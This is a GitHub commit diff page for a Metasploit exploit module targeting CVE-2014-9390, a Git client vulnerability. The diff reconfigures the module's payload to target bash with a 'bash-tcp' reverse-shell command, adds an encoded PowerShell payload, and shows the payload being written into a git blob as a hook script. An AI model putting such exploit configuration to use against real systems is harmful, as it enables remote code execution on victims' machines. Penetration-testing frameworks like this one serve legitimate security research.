Skip to content

Commit a3b0b9d

Browse files
committed
Configure module to target bash by default
1 parent 313d6cc commit a3b0b9d

File tree

1 file changed

+15
-14
lines changed

1 file changed

+15
-14
lines changed

modules/exploits/multi/http/cve_2014_9390.rb

Lines changed: 15 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -54,24 +54,21 @@ def initialize(info = {})
5454

5555
],
5656
'DisclosureDate' => 'Dec 18 2014',
57-
# TODO: correct all of this
58-
'Payload' =>
59-
{
60-
'Compat' =>
61-
{
62-
'PayloadType' => 'cmd',
63-
'RequiredCmd' => 'generic perl bash'
64-
},
65-
'EncoderType' => Msf::Encoder::Type::Raw
66-
},
67-
'Platform' => %w(osx win),
68-
'Targets' =>
57+
'Targets' =>
6958
[
7059
[
7160
'Automatic',
7261
{
7362
'Platform' => [ 'unix' ],
74-
'Arch' => ARCH_CMD
63+
'Arch' => ARCH_CMD,
64+
'Payload' =>
65+
{
66+
'Compat' =>
67+
{
68+
'PayloadType' => 'cmd_bash',
69+
'RequiredCmd' => 'generic bash-tcp'
70+
},
71+
}
7572
}
7673
],
7774
[
@@ -134,7 +131,11 @@ def setup_git
134131
when 'Automatic'
135132
full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
136133
when 'Windows Powershell'
137-
full_cmd = "#!/bin/sh\n#{cmd_psh_payload(payload.encoded, payload_instance.arch.first)}"
134+
psh = cmd_psh_payload(payload.encoded,
135+
payload_instance.arch.first,
136+
remove_comspec: true,
137+
encode_final_payload: true)
138+
full_cmd = "#!/bin/sh\n#{psh}"
138139
end
139140

140141
sha1, content = build_object('blob', full_cmd)

0 commit comments

Comments
 (0)